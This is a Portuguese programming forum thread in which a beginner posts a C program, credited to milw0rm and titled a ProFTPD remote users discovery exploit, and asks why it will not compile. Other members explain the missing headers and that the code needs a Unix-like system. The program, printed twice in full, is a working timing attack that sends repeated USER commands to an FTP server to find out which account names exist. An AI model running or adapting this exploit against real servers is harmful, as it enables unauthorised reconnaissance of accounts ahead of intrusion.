• Revista PROGRAMAR: Já está disponível a edição #53 da revista programar. Faz já o download aqui!

bonucci

não da para compilar

13 mensagens neste tópico

Oi pessoal, tenho aqui um script, no qual gostaria de experimentalo no meu servidor, numa plaicaçao que tenho instalado ftp, o script é esse

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/time.h>

#define PORT 21
#define PROBE 8

main (int argc, char **argv)
{
int sock,n,y;
long dist,stat=0;
struct sockaddr_in sin;
char buf[1024], buf2[1024];
struct timeval tv, tv2;
struct timezone tz, tz2;

printf ("Proftpd remote users discovery exploit\n"
" Coded by Leon / LSS Security\n"
">-------------------------------------<\n");

if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }

sock = socket (AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons (PORT);
sin.sin_addr.s_addr = inet_addr (argv[1]);
bzero (sin.sin_zero,8);

connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

printf ("Login time: ");
n = read (sock,buf2, sizeof(buf2));
for (y=0;y<PROBE;y++) {
gettimeofday (&tv,&tz);
snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);
write (sock, buf, strlen(buf));
n = read (sock,buf2, sizeof(buf2));
gettimeofday (&tv2,&tz2);
dist =tv2.tv_usec - tv.tv_usec;
stat += dist;
printf (" %d |",dist);
}
printf ("\nAvrg: %d\n",(stat/PROBE));
close (sock);
}

no qual n pertence a mim claro, pertence aqui ao mill http://www.milw0rm.com/exploits/581

Alguem faz ideia porque n consigo compilalo?? está faltando alguma coisa? experimentei no Dev c++ e até em linux gcc, sorry pela pergunta lamme, sou um zero a programação, mas ja ando a deidicarme mais a ele ultimamente, pois na minha vida do dia a dia obrigame a saber programação

Ficam bem pessoal

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Compilei simplesmente com "gcc -o script  script.c" e deu perfeitamente (com três warnings por declarações implícitas, faltam fazer #include à string.h e stdlib.h).

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

fogo, entao sao aqui os programas do meu pc que andam a bater mal... aqui está como eu altereio, eu tento compilalo em Dev c++ mas não me compila

aqui está o codigo:

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <stdio.h>

#include <arpa/inet.h>

#include <sys/time.h>

#define PORT 21

#define PROBE 8

int main (int argc, char **argv)

{

int sock,n,y;

long dist,stat=0;

struct sockaddr_in sin;

char buf[1024], buf2[1024];

struct timeval tv, tv2;

struct timezone tz, tz2;

printf ("Proftpd remote users discovery exploit\n"

" Coded by Leon / LSS Security\n"

">-------------------------------------<\n");

if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }

sock = socket (AF_INET, SOCK_STREAM, 0);

sin.sin_family = AF_INET;

sin.sin_port = htons (PORT);

sin.sin_addr.s_addr = inet_addr (argv[1]);

bzero (sin.sin_zero,8);

connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

printf ("Login time: ");

n = read (sock,buf2, sizeof(buf2));

for (y=0;y<PROBE;y++) {

gettimeofday (&tv,&tz);

snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);

write (sock, buf, strlen(buf));

n = read (sock,buf2, sizeof(buf2));

gettimeofday (&tv2,&tz2);

dist =tv2.tv_usec - tv.tv_usec;

stat += dist;

printf (" %d |",dist);

}

printf ("\nAvrg: %d\n",(stat/PROBE));

close (sock);

}

Axo que não falta nada no codigo

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Estás a compilar em Windows? É que isso só funciona em sistemas *nix.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

haaa, pois, bem me parecia, ja tinha visto por aí que o codigo muda quando se é em unix e windows

Obigadao  pessoal

:)

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

experimentei agora no linux e d]ame os seguintes erros

: In function ‘main’:

45: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’

47: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’

:S

Sem duvida que tenho que treinar a minha programa;\ao

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

experimentei agora no linux e d]ame os seguintes erros

: In function ‘main’:

45: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’

47: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘long int’

:S

Sem duvida que tenho que treinar a minha programa;\ao

De referir que isso são avisos e não erros.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!


Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.


Entrar Agora